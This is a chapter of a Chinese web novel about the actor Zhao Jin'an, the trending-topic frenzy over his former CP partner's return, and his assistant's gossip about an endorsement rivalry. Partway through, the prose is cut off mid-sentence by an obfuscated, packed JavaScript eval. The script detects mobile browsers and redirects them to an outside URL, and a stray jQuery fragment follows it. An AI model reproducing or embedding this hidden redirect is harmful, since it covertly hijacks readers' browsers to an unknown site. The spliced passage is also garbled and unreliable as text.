看这反应，赵今安心下了然，嗓音淡淡道：“拿来。”
陈欠欠僵着的脊背一缩，从裤兜里掏出他的手机还回去。
赵今安接过，解锁，重新点开文娱档热搜。
#柏岁山回国
#爆柏岁山将长期在国内发展
#柏岁山极冒嘉宾
#赵今安营业了
#kindle葡萄牙三巡完美谢幕
#六年有几天
...
热搜前20条基本被占，实时讨论一分钟激增几万条。
[我靠我靠，我错过了什么，听说柏岁山回国了，真的假的我靠？！！]
[真真真真是真的！明天凌晨四点多落地，鸡毛那边已经官宣了，下个月的飞行嘉宾就是小柏！]
[六年啊六年，我那出国的白月光终于回来了！dbq我担我先爬墙几天，没办法那是柏岁山，那可是柏岁山啊啊啊啊啊！]
[我能说吗......热搜同框，是谁又嗑到了（流泪/流泪），今天就算被骂死我也要站在这说一句：老子的be的古早cp终于又同登热搜了（暴风哭泣）]
[楼上谨言慎行！wf打过来我先跑]
[打他爷爷的波棱盖，本cpf寡了这么久，六年啊六年，这可是六年来的第一次同框！楼主姐妹放心，我踏马今天就站这，谁敢骂你我问候他全家十八代祖宗！！！]
...
赵今安按熄屏幕，半垂着头靠在车座上，也不说话，就这么沉默着。陈欠欠握着吹风机不敢转身，心里无比后悔为什么非得留下找这东西不可。
“你知道这事。”
“我......”
“周薇拦着不让你告诉我，是吗。”
“哥，我这，我们这......”陈欠欠磕巴着说不出半句话。
指骨轻点桌面上的手机：“把这个送去休息室。”
陈欠欠连忙去拿，动作积极，一副戴罪立功的模样。
送还回来，陈欠欠坐在车上浑身刺挠，哪哪都不得劲。保姆车开出剧组，赵今安靠坐着往窗外看，忽然脊背微挺，对司机道：“麻烦停一下。”
车子靠边停住。
“哎哥你去哪！这不能下车！”
话没说完，赵今安早已没影。
车刚开出来时，路边还有骚动，可当柏岁山下去，嗡闹的人群反而安静了。粉丝们扛着拍摄装备站在一边，面色激动地看着他。
赵今安戴着口罩，不过因为安静，也听得清他的声音。领头的粉丝经常追线下，赵今安已经眼熟了。
“你们等会怎么回去？”
“我们，打，我，我们哒哒哒打车。”
赵今安掏出手机，自己的不够，又征用陈欠欠和司机师傅的号：“账回去报。”随后咻咻切网约车后台。
粉丝们你看我我看你，想尖叫又不敢，一个个嘴张得老大。
“不，不用了哥，我们可以自己......”
“不安全。”
赵今安这周晚上几乎全是夜戏，忙起来的时候连饭都顾不上，他就在车上冰了一堆软酪，提神醒脑不伤皮肤，还抵饿。冷柜的制冷效果很好，瓶身被冻得通凉，拿出来时还冒着白气。
赵今安几乎没有犹豫地放回去，从旁边架子上抱了常温的，下车递给她们：“无糖的，不胖人。”
“剧组明天停工，”他想了想，又叮嘱，“这段时间别来线下了。”
几个新粉没遇过这种阵仗，凑在一边悄声咂舌。
新粉甲：“我靠，我真是顶流吗，不知道的以为我追的糊逼呢。我以前去线下，近距离说两句话都难，正主给叫车还陪等......我靠做梦都不敢这么做！你们老粉吃的太好了吧！”
新粉乙捏着瓶子看了半天：“就是，这牌子可不便宜，一百多一瓶呢。”
老粉丙：“这算什么。你看见和他说话那个女生没，还有旁边那三个，都是他的骨灰级站姐，从十年前就在追线下。那会赵今安虽然出道了好久，但一直是个内娱边角料，连糊咖都算不上。”
老粉丙：“最查无此人的时期，他给粉丝买东西，都是往贵里挑。自己喝冰露，粉丝喝依云。”
一群新粉竖起大拇指：“牛逼。”
二十分钟后，九辆七座商务车整齐停在路边，卧槽声此起彼伏。幸而这地方被剧组设了围栏，平时能进来的人不多，不至于太凌乱。
赵今安一直到人都上完，叮嘱好熟粉送人，等最后一辆开走，才安心上了车。
-
路上，赵今安翻着剧本，一连看了几页，却没半个字进脑。
他放下剧本，沉默地看着窗外。
陈欠欠尝试打破这种诡异的气氛，递了瓶水给他，嘿嘿笑说：“哥，在外面站了这么久，渴不渴，要不要喝点水呀。说到喝水，哥你知不知道有句老话是这么说的，每天八杯水，顺风又顺水。”
赵今安转过头，看着他递来那瓶矿泉水。淡蓝透明的瓶身上贴着标签，上头的红色字体异常醒目：
Ganten
百岁山
陈欠欠垂眼才看见，没忍住大喊：“卧槽！”
哪个傻逼买的水！矿泉水没牌子了，非得买这个吗！
紧急撤回一瓶矿泉水：“其实老话说的也不完全对，十万个为什么里还说水喝多了中毒呢，咱们要破除迷信，相信科学。”
赵今安看他一眼，伸手。
“渴了。”
“......”真的吗，哥你是真渴了吗。
不管陈欠欠的反应，赵今安长臂一够，将水夺过来，打开，泼天似地往嘴里灌。
拧上瓶盖，赵今安又道：“他官宣的那个综艺，你了解吗。”
陈欠欠：“你说鸡毛啊？”
赵今安深深看了他一眼。
陈欠欠连忙反口：“啊不是！我不是说哥你说鸡毛，哎呀，那个综艺不是叫《极限冒险家》嘛，简称《极冒》，鸡毛是粉丝玩的谐音梗，大家都这么叫。”
赵今安：“说说。”
陈欠欠是个综艺迷，国内国外的都爱看，介绍得头头是道：“这是个冒险真人秀，播放方式有直播和剪切回放两种。分冒险家和冒险者两个组，也就是土著嘉宾和飞行嘉宾。每期节目由土著带新成员，进入不同的冒险地图，完成节目组给的任务。常驻嘉宾团有五个人，最出名的裴师与还算咱的半个对家。”
说到这，陈欠欠顿了一下，心里突然冒出个邪恶的想法来：柏岁山是他哥的前cp，后来两人虽然割席了，但俗话怎么说，一日cp百日恩啊，这会子对家和前cp同上一个节目......我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117833|179990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠，好大一盆狗血！
不小心扫到赵今安的脸，瞬间有种偷听别家夫妻吵架被抓包的心虚感，陈欠欠吓了一跳，赶紧放空脑袋，强迫自己把那些乱七八糟的想法删除。
赵今安不知道他的小九九，笑了一下：“有对家就算了，为什么是半个。”
陈欠欠开始科普：“就之前有个手表的高奢代言，品牌方是要找你的，但因为上一代言人正好是那个谁，怕又被带cp节奏，周姐就给推了。”
“那个谁”三个字被陈欠欠含糊带过。
陈欠欠：“奢侈品系列的商务竞争一直很猛，咱们推了以后，裴师与那边就去联系。正好当时他演那档开年电影爆火，他们主动接洽，品牌方商量以后也觉得行，双方‘啪’......”
他拍了下手：“就成了。不过听说，我也是听说哈，你不要告诉别人。”
赵今安无奈：“我告诉谁去。”
陈欠欠挠头，嘿嘿一笑：“不好意思，我之前问我妈亲戚八卦的时候，我妈说之前都要这么提醒我一句，我当时还觉得烦，没想到真等自己说的时候，嘿嘿。”
陈欠欠：“听说一开始给裴师与的BA，是你那个系列的下属产品，那边让了好大一笔代言费，又答应了最低售出额，攀扯好久才接了哥你原来的代言位。”
“本来没谈妥的东西，大家也不会宣扬，可这事不知道怎么的就流出来，咱家的粉丝骂裴师与低价抢代言，裴粉那边先澄清裴师与没抢胡。”
赵今安点头：“是没抢，实话。”
陈欠欠：“然后她们说你廉颇老矣，自己不中用握不住代言，就到处放狗咬竞争对手。还给你提意见，让你这个老廉颇重操旧业下海，再振当年雄风。”
“......”
“不过哥你放心，咱家粉丝经过多少实战，战斗力那是实打实的，裴粉那边一骂，就像冷水倒在热锅里，战争一触即发，唯一的区别是冷水用碗装，热油用大锅熬。”
陈欠欠：“那谁出国以后，你没再和男的有过官配，一堆营销号饿了那么多年，好不容易闻到肉味，节奏肯定带得飞起，十篇博文里九篇都是你和裴师与的捆绑稿，粉丝越骂，那些玩意发得就越凶，是真他娘的缺德。反正，只要跟裴师与有关的词条话题，评论区下边......那叫一个惨烈。”
赵今安皱了皱眉。
不撕不骂就要挨欺负，这是饭圈公认且无法改变的现状，他不赞成，可也没法管。
陈欠欠：“后来公司亲自下场，声明你是因为档期无法接洽，裴师与工作室也晒出洽谈内容，只是代言的东西从手表换成了皮带，说明和你起先的不是同一个，才把这碗水端平。”
陈欠欠：“至于半个对家，裴师与虽然也是一线，但咖位比咱还是低了点，咱家粉丝觉得他还不配当个完整的对家，但因为之前的梁子，双方确实有过节，所以才有了‘半个’这种称呼，这是好像得有三四年了吧。”
赵今安：“没那么久，就两年。”
陈欠欠惊讶：“哥你记性真好，记得那么清楚呢。”
赵今安：“是我突然想起来，前年年初那会，周薇给我用了两个星期的老年机。”
“这个，薇姐也是关心你，怕你被粉圈的撕逼大战影响嘛。”陈欠欠忍笑往窗外看了一眼，吹了个口哨，“到咯。”